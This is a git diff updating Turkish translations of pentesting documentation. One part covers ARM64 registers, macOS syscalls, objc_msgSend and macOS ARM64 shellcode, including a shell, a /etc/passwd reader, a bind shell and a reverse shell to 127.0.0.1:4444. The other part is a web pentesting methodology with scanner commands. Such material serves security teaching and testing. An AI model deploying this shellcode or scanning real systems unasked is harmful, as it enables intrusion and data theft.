+- **`r14`**: Link Register
 
-Ayrıca, kayıtlar **`banked registries`** içinde yedeklenir. Bu, kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırarak **hızlı bağlam değiştirme** işlemlerini gerçekleştirmeyi sağlar.\
-Bu, istisna alındığında işlemci modunun **`CPSR`**'sinden **`SPSR`**'ye işlemci durumunun **kaydedilmesiyle** yapılır. İstisna geri döndüğünde, **`CPSR`** **`SPSR`**'den geri yüklenir.
+Ayrıca kayıtlar **`banked registries`** içinde yedeklenir. Buralar, istisna işleme ve ayrıcalıklı işlemlerde **hızlı context switching** yapmayı sağlayan, kayıt değerlerini saklayan alanlardır; böylece her seferinde kayıtları elle kaydedip geri yükleme ihtiyacı ortadan kalkar.\
+Bu, istisna alınan işlemci modunun durumunun **`CPSR`**'den **`SPSR`**'ye kaydedilmesiyle yapılır. İstisna dönüşlerinde, **`CPSR`** **`SPSR`**'den geri yüklenir.
 
-### CPSR - Mevcut Program Durum Kaydı
+### CPSR - Current Program Status Register
 
-AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve ayrıca bir istisna alındığında daha sonra yürütmeyi geri yüklemek için **`SPSR_ELx`**'de saklanır:
+AArch32'de CPSR, AArch64'teki **`PSTATE`**'e benzer şekilde çalışır ve bir istisna alındığında daha sonra yürütmeyi geri yüklemek için **`SPSR_ELx`** içinde de saklanır:
 
 <figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
 
-Alanlar bazı gruplara ayrılmıştır:
+Alanlar birkaç gruba ayrılır:
 
-- Uygulama Program Durum Kaydı (APSR): Aritmetik bayraklar ve EL0'dan erişilebilir
-- Yürütme Durumu Kayıtları: Süreç davranışı (OS tarafından yönetilir).
+- Application Program Status Register (APSR): Aritmetik bayraklar ve EL0'dan erişilebilir
+- Execution State Registers: İşlemci davranışı (OS tarafından yönetilir).
 
-#### Uygulama Program Durum Kaydı (APSR)
+#### Application Program Status Register (APSR)
 
 - **`N`**, **`Z`**, **`C`**, **`V`** bayrakları (AArch64'teki gibi)
-- **`Q`** bayrağı: Özel bir doygun aritmetik talimatın yürütülmesi sırasında **tam sayı doygunluğu meydana geldiğinde** 1 olarak ayarlanır. **`1`** olarak ayarlandığında, manuel olarak 0 olarak ayarlanana kadar bu değeri korur. Ayrıca, değerini dolaylı olarak kontrol eden herhangi bir talimat yoktur, bu manuel olarak okunmalıdır.
-- **`GE`** (Büyüktür veya eşittir) Bayrakları: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, tek bir talimatla birden fazla veri noktasını işleme imkanı tanır.
+- **`Q`** bayrağı: Özel saturating aritmetik talimatlarının yürütülmesi sırasında **integer saturation** oluştuğunda 1 olarak ayarlanır. Bir kez **`1`** olduğunda, elle 0 olarak ayarlanana kadar değeri korunur. Ayrıca, bu bayrağın değerini dolaylı olarak kontrol eden herhangi bir talimat yoktur; değeri manuel olarak okunmalıdır.
+- **`GE`** (Greater than or equal) Bayrakları: SIMD (Single Instruction, Multiple Data) işlemlerinde kullanılır; örneğin "parallel add" ve "parallel subtract" gibi. Bu işlemler bir talimatla birden çok veri noktasını işlemeye izin verir.
 
-Örneğin, **`UADD8`** talimatı **dört çift baytı** (iki 32-bit operandından) paralel olarak toplar ve sonuçları 32-bit bir kayıtta saklar. Daha sonra bu sonuçlara dayanarak **`APSR`**'deki `GE` bayraklarını **ayarlar**. Her GE bayrağı, o bayt çiftinin toplamının **taşma** olup olmadığını gösterir.
+Örneğin, **`UADD8`** talimatı iki 32-bit operandın dört çift baytını paralel olarak toplar ve sonuçları bir 32-bit kayıtta saklar. Daha sonra bu sonuçlara göre **`APSR`** içindeki `GE` bayraklarını ayarlar. Her bir GE bayrağı, o bayt çifti için yapılan toplamanın **taşma** yapıp yapmadığını gösterir.
 
-**`SEL`** talimatı, koşullu eylemleri gerçekleştirmek için bu GE bayraklarını kullanır.
+**`SEL`** talimatı bu GE bayraklarını kullanarak koşullu işlemler yapar.
 
-#### Yürütme Durumu Kayıtları
+#### Execution State Registers
 
-- **`J`** ve **`T`** bitleri: **`J`** 0 olmalıdır ve eğer **`T`** 0 ise A32 talimat seti kullanılır, 1 ise T32 kullanılır.
-- **IT Blok Durum Kaydı** (`ITSTATE`): Bunlar 10-15 ve 25-26 arasındaki bitlerdir. **`IT`** ile başlayan bir grup içindeki talimatlar için koşulları saklar.
+- **`J`** ve **`T`** bitleri: **`J`** 0 olmalıdır; **`T`** 0 ise A32 instruction set kullanılır, 1 ise T32 kullanılır.
+- IT Block State Register (`ITSTATE`): 10-15 ve 25-26 bitleridir. **`IT`** önekli bir grup içindeki talimatlar için koşulları saklar.
 - **`E`** biti: **endianness**'i gösterir.
-- **Mod ve İstisna Maske Bitleri** (0-4): Mevcut yürütme durumunu belirler. **5.** bit, programın 32bit (1) veya 64bit (0) olarak çalışıp çalışmadığını gösterir. Diğer 4 bit, **şu anda kullanılan istisna modunu** temsil eder (bir istisna meydana geldiğinde ve işlenirken). Ayarlanan sayı, başka bir istisna tetiklendiğinde mevcut önceliği **gösterir**.
+- Mode ve Exception Mask Bitleri (0-4): Geçerli yürütme durumunu belirler. 5. bit, programın 32bit olarak çalışıp çalışmadığını gösterir (1 ise 32bit, 0 ise 64bit). Diğer 4 bit, şu anda kullanılan **istisna modunu** temsil eder (bir istisna meydana geldiğinde ve işlenirken). Ayarlı olan sayı, bu istisna işlenirken başka bir istisna tetiklenirse mevcut önceliği belirtir.
 
 <figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
 
-- **`AIF`**: Belirli istisnalar, **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. Eğer **`A`** 1 ise, **asenkron abortlar** tetiklenecektir. **`I`**, harici donanım **Kesme Taleplerine** (IRQ'lar) yanıt vermek için yapılandırılır. F ise **Hızlı Kesme Talepleri** (FIR'lar) ile ilgilidir.
+- **`AIF`**: Belirli istisnalar **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. Eğer **`A`** 1 ise **asynchronous aborts** tetiklenecektir. **`I`** dış donanımdan gelen **Interrupt Requests** (IRQ) ile yanıt vermeyi yapılandırır. `F` ise **Fast Interrupt Requests** (FIQ) ile ilişkilidir.
 
 ## macOS
 
 ### BSD syscalls
 
-[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) dosyasına göz atın. BSD syscalls **x16 > 0** olacaktır.
+[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) dosyasına bakın veya `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h` komutunu çalıştırın. BSD syscalls'lar **x16 > 0** olacaktır.
 
-### Mach Tuşları
+### Mach Traps
 
-`mach_trap_table`'ı [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) dosyasında ve prototipleri [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) dosyasında kontrol edin. Mach tuşlarının maksimum sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuşları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları **eksi** ile çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur.
+`syscall_sw.c` içindeki [**mach_trap_table**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) ve [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) içindeki prototiplere bakın. Mach traps'un mex numarası `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach traps'lar **x16 < 0** olacaktır, bu yüzden önceki listedeki numaraları bir **eksi** ile çağırmanız gerekir: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur.
 
-Bu (ve BSD) syscalls'ı çağırmanın nasıl olduğunu bulmak için bir ayrıştırıcıda **`libsystem_kernel.dylib`** dosyasını da kontrol edebilirsiniz:
+Bu (ve BSD) syscalls'ların nasıl çağrılacağını bulmak için bir disassembler içinde **`libsystem_kernel.dylib`**'a da bakabilirsiniz:
 ```bash
 # macOS
 dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@@ -325,32 +327,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
 # iOS
 dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
 ```
-Not edin ki **Ida** ve **Ghidra**, sadece önbelleği geçerek **belirli dylib'leri** de decompile edebilir.
+Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache.
 
 > [!TIP]
-> Bazen **decompile** edilmiş kodu **`libsystem_kernel.dylib`**'den kontrol etmek, **kaynak kodunu** kontrol etmekten daha kolaydır çünkü birkaç syscalls'un (BSD ve Mach) kodu scriptler aracılığıyla üretilir (kaynak kodundaki yorumlara bakın) oysa dylib'de neyin çağrıldığını bulabilirsiniz.
+> Bazen **decompiled** kodu **`libsystem_kernel.dylib`**'den kontrol etmek, **source code**'u kontrol etmekten daha kolay olabilir; çünkü birkaç **syscalls** (BSD ve Mach) script'ler aracılığıyla üretilir (source code içindeki yorumlara bakın), oysa **dylib**'de hangi şeyin çağrıldığını bulabilirsiniz.
 
-### machdep çağrıları
+### machdep calls
 
-XNU, makine bağımlı olarak adlandırılan başka bir çağrı türünü destekler. Bu çağrıların sayısı mimariye bağlıdır ve ne çağrılar ne de sayılar sabit kalacağına dair bir garanti yoktur.
+XNU, machine dependent olarak adlandırılan başka bir tür çağrıyı destekler. Bu çağrıların numaraları mimariye bağlıdır ve ne çağrıların kendileri ne de numaraların sabit kalacağı garanti edilmez.
 
-### comm sayfası
+### comm page
 
-Bu, her kullanıcı sürecinin adres alanına haritalanan bir çekirdek sahibi bellek sayfasıdır. Kullanıcı modundan çekirdek alanına geçişi, bu geçişin çok verimsiz olacağı kadar sık kullanılan çekirdek hizmetleri için syscalls kullanmaktan daha hızlı hale getirmek için tasarlanmıştır.
+Bu, kernel'e ait bir bellek sayfasıdır ve her kullanıcının sürecinin adres uzayına maplenir. Kullanıcı modundan kernel alanına geçişi, çok sık kullanılan kernel servisleri için **syscalls** kullanmaktansa daha hızlı yapmak amacıyla tasarlanmıştır; aksi halde bu geçiş çok verimsiz olurdu.
 
-Örneğin, `gettimeofdate` çağrısı `timeval` değerini doğrudan comm sayfasından okur.
+Örneğin `gettimeofdate` çağrısı `timeval` değerini doğrudan comm page'den okur.
 
 ### objc_msgSend
 
-Bu fonksiyonun Objective-C veya Swift programlarında kullanıldığını bulmak oldukça yaygındır. Bu fonksiyon, bir Objective-C nesnesinin bir yöntemini çağırmayı sağlar.
+Objective-C veya Swift programlarında bu fonksiyonun kullanıldığını görmek çok yaygındır. Bu fonksiyon, bir Objective-C nesnesinin metodunu çağırmaya olanak tanır.
 
-Parametreler ([belgelerde daha fazla bilgi](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
+Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
 
-- x0: self -> Örneğe işaretçi
-- x1: op -> Yöntemin seçici
-- x2... -> Çağrılan yöntemin geri kalan argümanları
+- x0: self -> Pointer to the instance
+- x1: op -> Selector of the method
+- x2... -> Rest of the arguments of the invoked method
 
-Yani, bu fonksiyona giden dalın önünde bir breakpoint koyarsanız, lldb'de kolayca neyin çağrıldığını bulabilirsiniz (bu örnekte nesne, bir komut çalıştıracak olan `NSConcreteTask`'tan bir nesneyi çağırır):
+Bu yüzden, bu fonksiyona dallanmadan önce bir breakpoint koyarsanız, lldb'de neyin çağrıldığını kolayca bulabilirsiniz (bu örnekte nesne `NSConcreteTask` içinden bir nesneyi çağırır ve bu bir komut çalıştıracaktır):
 ```bash
 # Right in the line were objc_msgSend will be called
 (lldb) po $x0
@@ -369,27 +371,27 @@ whoami
 )
 ```
 > [!TIP]
-> Ortam değişkenini **`NSObjCMessageLoggingEnabled=1`** olarak ayarlayarak, bu fonksiyonun çağrıldığında `/tmp/msgSends-pid` gibi bir dosyaya kaydedilmesini sağlamak mümkündür.
+> Ortam değişkeni **`NSObjCMessageLoggingEnabled=1`** olarak ayarlandığında, bu fonksiyon çağrıldığında `/tmp/msgSends-pid` gibi bir dosyaya log tutulmasını sağlayabilirsiniz.
 >
-> Ayrıca, **`OBJC_HELP=1`** ayarlayarak ve herhangi bir ikili dosyayı çağırarak, belirli Objc-C eylemleri gerçekleştiğinde **log** için kullanabileceğiniz diğer ortam değişkenlerini görebilirsiniz.
+> Ayrıca, **`OBJC_HELP=1`** ayarlandığında ve herhangi bir binary çağrıldığında, belirli Objc-C eylemleri gerçekleştiğinde **log** tutmak için kullanabileceğiniz diğer ortam değişkenlerini görebilirsiniz.
 
-Bu fonksiyon çağrıldığında, belirtilen örneğin çağrılan yöntemini bulmak gerekir, bunun için farklı aramalar yapılır:
+Bu fonksiyon çağrıldığında, belirtilen örneğin çağrılan method'unu bulmak gerekir; bunun için farklı aramalar yapılır:
 
-- İyimser önbellek araması yapın:
+- Optimistic cache lookup gerçekleştirilir:
 - Başarılıysa, tamam
-- runtimeLock (okuma) edin
-- Eğer (realize && !cls->realized) sınıfı gerçekleştir
-- Eğer (initialize && !cls->initialized) sınıfı başlat
-- Sınıfın kendi önbelleğini deneyin:
+- runtimeLock (read) edinilir
+- Eğer (realize && !cls->realized) ise sınıf realize edilir
+- Eğer (initialize && !cls->initialized) ise sınıf initialize edilir
+- Sınıfın kendi cache'i denenir:
 - Başarılıysa, tamam
-- Sınıf yöntem listesini deneyin:
-- Bulunduysa, önbelleği doldur ve tamam
-- Üst sınıf önbelleğini deneyin:
+- Sınıfın method listesi denenir:
+- Bulunursa, cache doldurulur ve tamam
+- Üst sınıfın cache'i denenir:
 - Başarılıysa, tamam
-- Üst sınıf yöntem listesini deneyin:
-- Bulunduysa, önbelleği doldur ve tamam
-- Eğer (resolver) yöntem çözücüyü deneyin ve sınıf aramasından tekrar edin
-- Eğer hala buradaysa (= diğer her şey başarısız oldu) yönlendiriciyi deneyin
+- Üst sınıfın method listesi denenir:
+- Bulunursa, cache doldurulur ve tamam
+- Eğer (resolver) ise method resolver denenir ve class lookup'tan tekrarlanır
+- Hâlâ buradaysa (= diğer her şey başarısız oldu) forwarder denenir
 
 ### Shellcodes
 
@@ -408,7 +410,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
 echo -n '\\x'$c
 done
 ```
-Yeni macOS için:
+Daha yeni macOS için:
 ```bash
 # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
 for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@@ -467,10 +469,10 @@ return 0;
 
 #### Shell
 
-[**buradan**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) alındı ve açıklandı.
+Bu [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) kaynağından alınmıştır ve açıklanmıştır.
 
 {{#tabs}}
-{{#tab name="adr ile"}}
+{{#tab name="with adr"}}
 ```armasm
 .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
 .global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@@ -537,9 +539,9 @@ sh_path: .asciz "/bin/sh"
 {{#endtab}}
 {{#endtabs}}
 
-#### cat ile oku
+#### cat ile okuma
 
-Amaç `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmaktır, bu nedenle ikinci argüman (x1) bir parametreler dizisidir (bu bellek içinde adreslerin bir yığını anlamına gelir).
+Amaç `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` çalıştırmaktır, bu yüzden ikinci argüman (x1) bir parametreler dizisidir (bellekte bunun anlamı adreslerin bir yığınıdır).
 ```armasm
 .section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
 .global _main              ; Declare a global symbol _main
@@ -565,7 +567,7 @@ cat_path: .asciz "/bin/cat"
 .align 2
 passwd_path: .asciz "/etc/passwd"
 ```
-#### Bir fork'tan sh ile komut çağırın, böylece ana işlem öldürülmez.
+#### Ana süreç sonlandırılmasın diye fork'tan sh ile komutu çalıştırın
 ```armasm
 .section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
 .global _main              ; Declare a global symbol _main
@@ -611,7 +613,7 @@ touch_command: .asciz "touch /tmp/lalala"
 ```
 #### Bind shell
 
-**port 4444**'te [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) adresinden bind shell
+Bind shell, [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) adresinden, **port 4444**'te
 ```armasm
 .section __TEXT,__text
 .global _main
@@ -693,9 +695,9 @@ mov  x2, xzr
 mov  x16, #59
 svc  #0x1337
 ```
-#### Ters kabuk
+#### Reverse shell
 
-From [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell to **127.0.0.1:4444**
+Kaynak: [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell **127.0.0.1:4444**'e
 ```armasm
 .section __TEXT,__text
 .global _main

src/network-services-pentesting/pentesting-web/README.md

@@ -4,9 +4,9 @@
 
 ## Temel Bilgiler
 
-Web servisi en **yaygın ve kapsamlı servis** olup birçok **farklı türde vulnerabilities** bulunmaktadır.
+Web servisi en **yaygın ve kapsamlı servis**dir ve birçok **farklı türde zafiyet** mevcuttur.
 
-**Varsayılan port:** 80 (HTTP), 443(HTTPS)
+**Varsayılan port:** 80 (HTTP), 443 (HTTPS)
 ```bash
 PORT    STATE SERVICE
 80/tcp  open  http
@@ -17,7 +17,7 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Web API Rehberi
+### Web API Kılavuzu
 
 
 {{#ref}}
@@ -26,38 +26,38 @@ web-api-pentesting.md
 
 ## Metodoloji özeti
 
-> Bu metodolojide yalnızca bir domain (veya subdomain) üzerinde saldırı gerçekleştireceğinizi varsayacağız. Bu yüzden, kapsam içindeki her keşfedilen domain, subdomain veya web sunucusu belirlenmemiş IP için bu metodolojiyi uygulamalısınız.
+> Bu metodolojide bir domain (veya subdomain) ve yalnızca ona saldıracağınızı varsayıyoruz. Bu nedenle, bu metodolojiyi kapsam içindeki her keşfedilen domain, subdomain veya belirsiz web sunucusuna sahip IP için uygulamalısınız.
 
-- [ ] Önce web sunucusu tarafından kullanılan **teknolojileri** **tanımlayın**. Tekniği başarıyla tanımlayabilirseniz testin geri kalanında aklınızda tutmanız gereken **püf noktalarını** arayın.
-- [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı?
-- [ ] Herhangi bir **bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **faydalı püf noktası** var mı?
-- [ ] Çalıştırılacak herhangi bir **özelleşmiş tarayıcı** var mı (örn. wpscan)?
-- [ ] Genel amaçlı **tarayıcıları** çalıştırın. Ne bulacaklarını ya da ilginç bilgi tespit edip etmeyeceklerini bilemezsiniz.
-- [ ] İlk olarak **başlangıç kontrolleri** ile başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS scan** (HTTPS ise).
-- [ ] Sayfayı **spidering** ile taramaya başlayın: Tüm olası **dosyaları**, **klasörleri** ve **kullanılan parametreleri** bulma zamanı. Ayrıca **özel bulgular** için kontrol edin.
-- [ ] _Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, o dizin spidered edilmelidir._
-- [ ] **Directory Brute-Forcing**: Keşfedilen tüm klasörlerde yeni **dosyalar** ve **dizinler** aramak için brute force yapmayı deneyin.
-- [ ] _Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, Brute-Forced yapılmalıdır._
-- [ ] **Backups checking**: Ortaya çıkan **dosyaların yedeklerini** yaygın yedek uzantıları ekleyerek bulup bulamayacağınızı test edin.
-- [ ] **Brute-Force parameters**: Gizli parametreleri **bulmaya** çalışın.
-- [ ] Tüm olası **endpoints** içinde **user input** kabul edenleri **tanımladıktan** sonra, bunlarla ilişkili tüm türde **vulnerabilities** için kontrol edin.
-- [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md)
+- [ ] Öncelikle web sunucusu tarafından kullanılan **technologies**'i **identifying** edin. Teknolojiyi tespit edebilirseniz, testin geri kalanında aklınızda tutulması gereken **tricks**'lere bakın.
+- [ ] Teknoloji sürümünün bilinen herhangi bir **known vulnerability** var mı?
+- [ ] Herhangi bir **well known tech** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **useful trick** var mı?
+- [ ] Çalıştırılacak herhangi bir **specialised scanner** var mı (ör. wpscan)?
+- [ ] **general purposes scanners** çalıştırın. Ne bulacaklarını veya ilginç bilgi elde edip etmeyeceklerini bilemezsiniz.
+- [ ] **initial checks** ile başlayın: **robots**, **sitemap**, **404** error ve **SSL/TLS scan** (HTTPS ise).
+- [ ] Web sayfasını **spidering** ile taramaya başlayın: Tüm olası **files, folders** ve **parameters being used**'i **find** etme zamanı. Ayrıca **special findings**'leri kontrol edin.
+- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
+- [ ] **Directory Brute-Forcing**: Keşfedilen tüm klasörleri yeni **files** ve **directories** arayarak brute force etmeyi deneyin.
+- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
+- [ ] **Backups checking**: Yaygın yedek uzantıları ekleyerek **discovered files**'ın **backups**'larını bulup bulamayacağınızı test edin.
+- [ ] **Brute-Force parameters**: Gizli parametreleri bulmaya çalışın.
+- [ ] Tüm olası **endpoints** ve **user input** kabul edenleri **identified** ettikten sonra, bunlarla ilgili her türlü **vulnerabilities** için kontrol edin.
+- [ ] [Bu checklist'i takip edin](../../pentesting-web/web-vulnerabilities-methodology.md)
 
-## Server Version (Zayıf mı?)
+## Sunucu Sürümü (Zafiyetli?)
 
-### Tanımlama
+### Tespit
 
-Çalışan sunucu **sürümü** için herhangi bir **bilinen zafiyet** olup olmadığını kontrol edin.\
-Yanıtın **HTTP headers and cookies**'i, kullanılan **teknolojileri** ve/veya **sürümü** tespit etmek için çok yararlı olabilir. **Nmap scan** sunucu sürümünü tespit edebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech**](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com) gibi araçlar da faydalı olabilir:
+Çalışan sunucunun **version**'ı için bilinen herhangi bir **known vulnerabilities** olup olmadığını kontrol edin.\
+Cevabın **HTTP headers and cookies of the response**'i, kullanılan **technologies** ve/veya **version**'ı **identify** etmek için çok yararlı olabilir. **Nmap scan** sunucu sürümünü tespit edebilir, ayrıca araçlar [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech**](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com) da faydalı olabilir:
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Ara **için** [**web uygulamasının zafiyetleri** **sürümü**](../../generic-hacking/search-exploits.md)
+Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 
-### **Herhangi bir WAF olup olmadığını kontrol edin**
+### **Herhangi bir WAF olup olmadığını kontrol et**
 
 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
@@ -65,7 +65,7 @@ Ara **için** [**web uygulamasının zafiyetleri** **sürümü**](../../generic-
 
 ### Web teknoloji tüyoları
 
-Kullanılmakta olan farklı, iyi bilinen **teknolojilerde** zafiyetleri **bulmak** için bazı **tüyolar**:
+Kullanılan çeşitli iyi bilinen **teknolojilerde** **zafiyetleri bulmak** için bazı **ipuçları**:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@@ -102,18 +102,19 @@ Kullanılmakta olan farklı, iyi bilinen **teknolojilerde** zafiyetleri **bulmak
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
 
 _Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
-Web uygulaması önceden listelenen herhangi bir iyi bilinen **teknoloji/platform** veya **başka bir şey** kullanıyorsa, yeni hileleri **İnternette aramayı** unutmayın (ve bana bildirin!).
+Aynı **alan adının** farklı **portlarda**, **klasörlerde** ve **alt alan adlarında** farklı **teknolojiler** kullanıyor olabileceğini unutma.\
+Eğer web uygulaması önceden listelenmiş herhangi bir tanınmış **teknoloji/platform** veya **başka bir teknoloji** kullanıyorsa, **İnternette yeni taktikleri aramayı** unutma (ve bana haber ver!).
 
-### Source Code Review
+### Kaynak Kod İncelemesi
 
-Eğer uygulamanın **source code**'u **github** üzerinde erişilebilirse, uygulama üzerinde kendi başınıza bir **White box test** yapmanın yanı sıra mevcut **Black-Box testing** için faydalı olabilecek bazı bilgiler bulunabilir:
+Eğer uygulamanın **source code**'u **github** üzerinde erişilebiliyorsa, uygulamaya kendi başına bir **White box test** yapmanın yanı sıra mevcut **Black-Box testing** için faydalı olabilecek bazı bilgiler bulunabilir:
 
-- Web üzerinden erişilebilir bir **Change-log** veya **Readme** ya da **Version** dosyası veya sürüm bilgisi içeren herhangi bir şey var mı?
-- **Credentials** nasıl ve nerede saklanıyor? Erişilebilir herhangi bir **dosya** içinde credentials (kullanıcı adları veya parolalar) var mı?
-- Parolalar düz metin mi, şifrelenmiş mi veya hangi **hashing** algoritması kullanılıyor?
-- Bir şeyi şifrelemek için herhangi bir **master key** kullanılıyor mu? Hangi algoritma kullanılıyor?
-- Bazı bir **vulnerability**'yi istismar ederek bu dosyalardan herhangi birine erişebilir misiniz?
-- github'daki (çözülmüş veya çözülmemiş) **issues**'larda ilginç bilgiler var mı? Veya commit geçmişinde (belki eski bir commit içinde tanımlanmış bir parola) ilginç bir şey çıkıyor mu?
+- Web üzerinden erişilebilen herhangi bir **Change-log or Readme or Version** dosyası veya **erişilebilir sürüm bilgisi** var mı?
+- **Credentials** nasıl ve nerede saklanmış? Kimlik bilgilerini içeren (erişilebilir?) herhangi bir **dosya** (kullanıcı adları veya parolalar) var mı?
+- **Parolalar** düz metin mi, **şifrelenmiş** mi yoksa hangi **hash algoritması** kullanılıyor?
+- Bir şeyi şifrelemek için herhangi bir **master key** kullanılıyor mu? Hangi **algoritma** kullanılıyor?
+- Herhangi bir zafiyeti kullanarak **bu dosyalara erişebiliyor musun**?
+- **Github**'da ilginç bilgiler var mı (çözülen ve çözülmeyen) **issues**? Veya **commit history**'de (ör. eski bir commit içinde bazı **parolalar** eklenmiş olabilir)?
 
 
 {{#ref}}
@@ -134,12 +135,12 @@ nuclei -ut && nuclei -target <URL>
 # https://github.com/ignis-sec/puff (client side vulns fuzzer)
 node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
 ```
-#### CMS tarayıcıları
+#### CMS tarama araçları
 
-Bir CMS kullanılıyorsa **run a scanner** yapmayı unutmayın; belki ilginç bir şey bulunur:
+Bir CMS kullanılıyorsa **scanner çalıştırmayı** unutmayın, belki ilginç bir şey bulunur:
 
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web sitelerini güvenlik sorunları için tarar. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** web siteleri için güvenlik sorunları. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **veya** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -149,45 +150,45 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
